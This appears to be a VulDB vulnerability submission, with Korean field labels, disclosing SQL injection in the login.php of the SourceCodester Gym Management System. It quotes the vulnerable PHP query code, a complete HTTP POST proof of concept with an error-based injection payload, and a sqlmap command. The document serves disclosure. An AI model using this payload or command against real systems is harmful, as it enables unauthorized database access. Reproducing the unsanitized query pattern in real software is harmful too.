| 제목 | MyGym login.php SQL Injection |
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| 설명 | vulnerablilty code location:login.php
code line:91-103
if (isset($_POST['user_login'])){
$user_email= ($_POST['user_email']);
$user_password= ($_POST['user_pass']);
$select_user="SELECT * FROM users WHERE user_email='$user_email' AND user_pass='$user_password'";
$run_user=mysqli_query($con, $select_user);
$row_count=mysqli_num_rows($run_user);
if ($row_count==1) {
$_SESSION['user_email']=$user_email; //create session variable
header('location: index.php');
}
else{
echo "<script>alert('Invalid Email or Password')</script>";
}
POC:
POST /login.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Connection: close
Cookie: PHPSESSID=ke47d27n8nog87nsqkttfpm02n
Upgrade-Insecure-Requests: 1
[email protected]' OR (SELECT 9084 FROM(SELECT COUNT(*),CONCAT(0x7178767871,(SELECT (ELT(9084=9084,1))),0x71767a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dPvW&user_pass=456&user_login=Submit
Use Tools : sqlmap
sqlmap -r 123.txt --dbms=mysql --current-user
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| 원천 | ⚠️ https://www.sourcecodester.com/php/15515/gym-management-system-project-php.html |
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| 사용자 | geek_zuizui (UID 30736) |
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| 제출 | 2022. 08. 08. AM 07:07 (4 연령 ago) |
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| 모더레이션 | 2022. 08. 08. AM 07:59 (52 minutes later) |
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| 상태 | 수락 |
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| VulDB 항목 | 205833 [SourceCodester Gym Management System login.php user_login SQL 주입] |
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| 포인트들 | 20 |
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